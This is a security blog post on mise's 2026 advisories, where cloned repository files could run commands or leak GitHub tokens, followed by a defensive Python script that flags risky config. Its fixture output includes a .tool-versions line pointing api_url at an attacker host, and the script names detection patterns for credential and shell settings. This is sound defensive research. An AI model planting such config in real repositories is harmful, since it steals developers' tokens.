Safeguard
Supply Chain Security•

mise's 12 Security Advisories in 2026: Why Inspecting Repo Config for Trust Keeps Failing

Nine of mise's 12 advisories in 2026 started with a file in a cloned repo. Why content-based trust fails open, paranoid mode, and a repo review script.

Safeguard Security Team
Security Research
14 min read

mise, the Rust tool for managing dev tool versions, environment variables and tasks, published 12 security advisories in 2026. In nine of them, the input was a file in a repository you'd cloned: a mise.toml, a .tool-versions or a task file that ran commands or sent your GitHub token somewhere, often with no trust prompt at all. The latest to reach GitHub's reviewed database, CVE-2026-103929 on 15 October, is one of four where a project file set a setting that runs commands or controls trust. The pattern isn't careless maintainers. It's the trust model: by default, mise decides whether a file needs approval by looking at what's in it, and every new feature gives it something new to miss.

This post is for developers and platform teams who use mise, and for anyone choosing how a developer tool should treat config that ships inside a repository. It sets out the 2026 advisories, compares the two ways tools decide trust, and ends with a script that lists what mise would load from a repository before you trust it.

The short answer

Upgrade mise to 2026.10.0 or later. The current release is 2026.10.11. If you open repositories you don't control, turn on paranoid mode with mise settings paranoid=true: every project config file then needs your approval, bound to a hash of its content. In normal mode, mise loads some files without asking, treats every config as trusted when it detects CI, and records trust automatically when you run mise run, mise install or mise exec. Review a repository's mise files before any of those.

Twelve advisories, nine from the repository

These are the advisories published in mise's repository between April and October 2026:

PublishedAdvisoryWhat a file in the repository could do
3 AprCVE-2026-35533Set trust-control settings such as trusted_config_paths in its own .mise.toml, making itself trusted
12 JunCVE-2026-33646Run commands through exec() in a .tool-versions template, which wasn't trust-checked
12 JunCVE-2026-54557Make mise install create a symlink outside the install tree via .tool-versions
12 JunCVE-2026-55441Run commands from task-include files in a repo with no config file to gate
12 JunCVE-2026-55448Set github.credential_command, which mise ran with sh -c
7 JulCVE-2026-71477Not repository input: wrong file ownership when root ran install.sh
26 JulCVE-2026-103929Set the shell interpreter arguments mise uses for every command
20 AugGHSA-w8pw-h853-frw2Not repository input: GitLab and Forgejo tokens sent to third-party release-asset hosts
14 SepGHSA-6986-cq7v-7cj9Set history.describe_command, a setting added a week earlier
30 SepGHSA-333c-h2jr-xv83Point a github: tool's api_url at an attacker host and receive your GITHUB_TOKEN
2 OctGHSA-r9rm-ppfv-c993Not repository input: substring matching in the GitHub attestation signer check
2 OctGHSA-wcqh-j26q-g44xDo the same api_url trick through inline options in .tool-versions, which the trust gate ignored

The nine repository cases fall into two groups. In four, a project file set a setting that runs commands or controls trust. The fix for the first two was a per-setting global_only flag, and the next two were settings nobody had flagged. In the other five, a file or option was treated as harmless: .tool-versions templates, task includes, inline options, a version string used as a path, and an api_url taken from project config without checking the host.

Only six of the twelve are in GitHub's reviewed advisory database as of 16 October. The five without a CVE ID, and CVE-2026-71477, appear only as repository advisories on mise's GitHub page. CVE-2026-103929 itself was published there on 26 July and reviewed on 15 October.

Two ways to decide trust

A tool that reads config from a repository has to decide, before running anything, whether you meant it to. There are two broad ways to do that.

Inspect the content. Load the file, look at what it contains, and ask for approval only when it contains something dangerous. mise's normal mode works like this. Its security documentation says a mise.toml loads without trust when it has no template syntax and contains only min_version, plain [tools] version strings, and [tasks] that don't list secrets. .tool-versions needs trust only when it contains template syntax or inline tool options, and idiomatic version files such as .nvmrc never do.

Approve the content. Load nothing from a file until you've approved that exact file, and ask again whenever it changes. direnv works like this. Its allow record is a SHA-256 hash of the file's absolute path and content, so any edit to .envrc blocks it again until you rerun direnv allow. mise's paranoid mode works the same way: mise trust "stores a hash of the file, and any edit makes it untrusted again".

The difference is what happens when the tool grows. With content inspection, every new setting, file type or option has to be added to the gate, and a missed one fails open. With content approval, a new feature in an unapproved file does nothing, because the file isn't loaded at all. It fails closed.

Why the denylist kept leaking

mise's advisories show the failure mode in order.

CVE-2026-35533 and CVE-2026-55448 established that project [settings] were read before the trust check. The fix was a denylist: settings marked global_only are stripped from project config. The advisory for CVE-2026-103929 explains what happened next. The fix covered the three credential_command settings but not the four shell-argument settings, which "choose the interpreter for every command mise spawns". Then GHSA-6986-cq7v-7cj9 found history.describe_command, added on 7 September in PR #12918 and reported a week later, also not marked global_only.

Each fix was correct. Each new setting reopened the question. In mise's current settings.toml, 43 of 347 settings carry global_only. Whether the other 304 are safe in a project file depends on someone reviewing every addition with the trust model in mind.

The other five follow the same logic for files and options. .tool-versions templates weren't checked because .tool-versions was considered harmless. Task-include files were never checked in a repository with no config file, because the gate keyed on config files. Inline options in .tool-versions were ignored because the gate looked for template delimiters, not options. And api_url was accepted from a project file without asking whether the host was GitHub.

mise has tightened its defaults in response. The current documentation says [settings], [env], [hooks], tool option tables and include all need trust, and inline options in .tool-versions now do too. That narrows the gap. It doesn't change the model.

Three places mise trusts without asking

Even with the gate working as designed, normal mode trusts config in three situations the documentation spells out:

  • CI. When mise detects CI, for example because CI is set, "it treats every config as trusted and records nothing". A workflow that runs mise on a pull request branch loads that branch's config with full trust.
  • Running the project. mise run, task shorthand such as mise build, mise install, mise exec, mise watch and the mise daemons commands record trust for every non-global config they load, including configs in parent directories, "because running them is already a decision to run the project's code".
  • --yes. Outside CI, --yes or MISE_YES=1 answers the trust prompt with yes.

Paranoid mode turns off the CI exemption and --yes for trust, and stops those commands from trusting the config they load. For automation that has to read config it doesn't control, such as a bot that bumps tool versions on pull requests, mise's documentation points to safe mode, MISE_SAFE=1, which limits what project config can do for resolution commands like mise lock. GHSA-333c-h2jr-xv83 notes that its token leak still fired under MISE_SAFE=1, and the documentation says plainly that safe mode is not an operating-system sandbox.

Check a repository before you trust it

This script walks a repository and lists every file mise would read: config files in all the documented locations, conf.d fragments, .tool-versions, .miserc.toml and task files. For each, it says whether mise's default rules load it without trust, and flags what can run code or send tokens: templates and exec(), [env] _.source, hooks, postinstall, api_url, inline tool options, tasks, and the settings named in this year's advisories. It reads files only and never runs mise. It uses only the Python standard library and needs Python 3.11 or later.

#!/usr/bin/env python3
"""List what mise would load from a repository, and what in it can run code.

Run it on a fresh clone before you cd into it with mise activated, or before
`mise trust`. It reads files only and never runs mise. Python 3.11+.

  python3 mise_repo_review.py REPO
"""
import os, re, sys, tomllib

SKIP = {".git", "node_modules", ".venv", "vendor", "target", "dist"}
CONF_DIRS = ("mise", ".mise", ".config/mise")
TASK_DIRS = ("mise-tasks", ".mise-tasks", ".mise/tasks", ".config/mise/tasks", "mise/tasks")
CONFIG_NAME = re.compile(r"^\.?mise(\.[\w-]+)?(\.local)?\.toml$")
TEMPLATE = re.compile(r"\{\{|\{%|\{#")
# Settings named in 2026 mise advisories as running commands or moving trust.
RISKY_SETTINGS = {
    "trusted_config_paths": "CVE-2026-35533", "github.credential_command": "CVE-2026-55448",
    "gitlab.credential_command": "CVE-2026-55448 class", "forgejo.credential_command": "CVE-2026-55448 class",
    "unix_default_inline_shell_args": "CVE-2026-103929", "unix_default_file_shell_args": "CVE-2026-103929",
    "windows_default_inline_shell_args": "CVE-2026-103929", "windows_default_file_shell_args": "CVE-2026-103929",
    "history.describe_command": "GHSA-6986-cq7v-7cj9", "paranoid": "trust control", "safe": "trust control",
}
TOOL_OPTS = {"postinstall": "runs a script after install", "api_url": "receives your GitHub token"}


def flat(d, prefix=""):
    for k, v in d.items():
        key = f"{prefix}{k}"
        if isinstance(v, dict):
            yield from flat(v, key + ".")
        else:
            yield key, v


def review_toml(text):
    notes, needs_trust = [], False
    if TEMPLATE.search(text):
        needs_trust = True
        notes.append("template syntax" + (", calls exec()" if "exec(" in text else ""))
    try:
        cfg = tomllib.loads(text)
    except tomllib.TOMLDecodeError as e:
        return True, [f"unparseable TOML ({e}); review by hand"]
    for key, v in flat(cfg.get("settings", {})):
        needs_trust = True
        notes.append(f"[settings] {key}" + (f"  <- {RISKY_SETTINGS[key]}" if key in RISKY_SETTINGS else ""))
    env = cfg.get("env", {})
    if env:
        needs_trust = True
        directives = env.get("_", {})
        for d in ("source", "file", "path", "python"):
            if d in directives:
                notes.append(f"[env] _.{d} = {directives[d]!r}" + ("  <- runs a script" if d == "source" else ""))
        plain = [k for k in env if k != "_"]
        if plain:
            notes.append(f"[env] sets {', '.join(sorted(plain))}")
    for hook, cmd in cfg.get("hooks", {}).items():
        needs_trust = True
        notes.append(f"[hooks] {hook} runs {cmd!r}")
    for tool, spec in cfg.get("tools", {}).items():
        if "[" in tool:
            needs_trust = True
            notes.append(f"[tools] inline options in {tool!r}")
        if isinstance(spec, dict):
            needs_trust = True
            for opt in spec:
                if opt in TOOL_OPTS:
                    notes.append(f"[tools] {tool} {opt} = {spec[opt]!r}  <- {TOOL_OPTS[opt]}")
    for section in ("tool_alias", "include"):
        if section in cfg:
            needs_trust = True
            notes.append(f"{section} present")
    if cfg.get("task_config", {}).get("includes"):
        notes.append(f"task includes: {cfg['task_config']['includes']}")
    tasks = cfg.get("tasks", {})
    if any(isinstance(t, dict) and t.get("secrets") for t in tasks.values()):
        needs_trust = True
        notes.append("a task lists secrets")
    if tasks:
        notes.append(f"{len(tasks)} task(s); `mise run` executes them and trusts this file")
    return needs_trust, notes


def review_tool_versions(text):
    notes = []
    if TEMPLATE.search(text):
        notes.append("template syntax" + (", calls exec()" if "exec(" in text else ""))
    for line in text.splitlines():
        m = re.match(r"\s*([^\s#]+\[[^\]]*\])", line)
        if m:
            spec = m.group(1)
            hits = [f"{o} ({why})" for o, why in TOOL_OPTS.items() if o + "=" in spec]
            notes.append(f"inline options {spec}" + (f"  <- {', '.join(hits)}" if hits else ""))
    return bool(notes), notes


def main(root):
    found = 0
    for dirpath, dirs, files in os.walk(root):
        dirs[:] = sorted(d for d in dirs if d not in SKIP)
        rel_dir = os.path.relpath(dirpath, root)
        rel_dir = "" if rel_dir == "." else rel_dir + "/"
        for f in sorted(files):
            path = os.path.join(dirpath, f)
            rel = rel_dir + f
            parent = os.path.dirname(rel)
            in_conf = any(parent == c + "/conf.d" or parent.endswith("/" + c + "/conf.d")
                          or parent.startswith(c + "/conf.d/") for c in CONF_DIRS)
            is_task = any(("/" + rel).find("/" + t + "/") >= 0 for t in TASK_DIRS)
            text = open(path, errors="replace").read() if os.path.getsize(path) < 1_000_000 else ""
            if f == ".tool-versions":
                trust, notes = review_tool_versions(text)
            elif f == ".miserc.toml":
                trust, notes = False, ["chooses which config files load (never needs trust)"]
            elif CONFIG_NAME.match(f) or (f.endswith(".toml") and in_conf) or (
                    f in ("config.toml", "config.local.toml") and any(parent.endswith(c) for c in CONF_DIRS)):
                trust, notes = review_toml(text)
            elif is_task:
                trust = bool(TEMPLATE.search(text))
                notes = ["task file; `mise run` executes it"]
                if trust:
                    notes.append("template syntax" + (", calls exec()" if "exec(" in text else ""))
            else:
                continue
            found += 1
            gate = "needs trust" if trust else "LOADS WITHOUT TRUST by default"
            print(f"{rel}: {gate}")
            for n in notes:
                print(f"    {n}")
    if not found:
        print("No mise config, .tool-versions or task files found.")
    else:
        print(f"\n{found} file(s). In paranoid mode every one except .miserc.toml needs trust, bound to its hash.")


if __name__ == "__main__":
    main(sys.argv[1] if len(sys.argv) > 1 else ".")

We ran it on 16 October against a fixture repository with one example of each pattern:

$ python3 mise_repo_review.py repo
.miserc.toml: LOADS WITHOUT TRUST by default
    chooses which config files load (never needs trust)
.tool-versions: needs trust
    inline options github:sharkdp/fd[api_url=https://ghe.attacker.example/api/v3]  <- api_url (receives your GitHub token)
mise.local.toml: needs trust
    [settings] unix_default_inline_shell_args  <- CVE-2026-103929
    [settings] experimental
mise.toml: LOADS WITHOUT TRUST by default
    1 task(s); `mise run` executes them and trusts this file
.config/mise/conf.d/dev.toml: needs trust
    [env] _.source = './scripts/dev-env.sh'  <- runs a script
    [env] sets APP_ENV
    [hooks] enter runs 'echo entered'
mise-tasks/build: needs trust
    task file; `mise run` executes it
    template syntax, calls exec()
services/api/mise.toml: needs trust
    [tools] aqua:cli/cli postinstall = './hack/setup.sh'  <- runs a script after install

7 file(s). In paranoid mode every one except .miserc.toml needs trust, bound to its hash.

The two files marked as loading without trust are the ones mise's normal mode reads silently. The root mise.toml is plain versions and a task, which is fine, but mise run test will record trust for it. Running a task from services/api would record trust for that directory's mise.toml, postinstall script included, and for the root one above it. Everything else would prompt in a terminal. In CI, none of it would.

What to do

  1. Upgrade to 2026.10.0 or later, which includes the fixes for every advisory above. Check with mise --version.
  2. Turn on paranoid mode on machines where you open code you didn't write: mise settings paranoid=true. The setting is global_only, so a project can't turn it off.
  3. Review before you trust. Run mise trust --show and read each file, or run the script above, before mise trust, mise run or mise install in a new clone.
  4. Be deliberate in CI. If workflows run mise on code from forks or untrusted branches, set MISE_PARANOID=1 and trust reviewed files explicitly, or use safe mode for version-resolution jobs only.
  5. Keep tokens scoped. Three of these advisories sent tokens to hosts the user never chose. A read-only, short-lived token limits what any one leak costs. Our post on dev container security and dotfiles covers keeping credentials out of developer environments.

The fair view

Content inspection exists for a good reason. Approving every file, and re-approving it after every git pull, is friction most developers won't tolerate, and a tool that nags constantly trains people to click yes. direnv users know the routine. mise's normal mode lets a repository pin Node 24 without a prompt, which is what most projects need.

The maintainers have also handled this well. Advisories are detailed and credit their reporters, here kq5y, mosskappa, miauzxw, hehaoqian, arpitjain099, ntdatt812, jjzeroday, theredspoon, manus-pi and manus-use. The paranoid and safe modes are documented plainly, including what they don't do.

But the record is the argument. Nine advisories in six months came from the same question, "does this file need trust?", answered by inspection. A tool that ships features weekly can't keep a denylist complete. For anyone building developer tools that read repository config, the lesson from mise's year is to make approval the default and inspection the convenience, not the other way round.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.

Self-healing security runs on Safeguard.

Your first fix PR is minutes away.

No sales call required, even your agent can complete the purchase over MCP.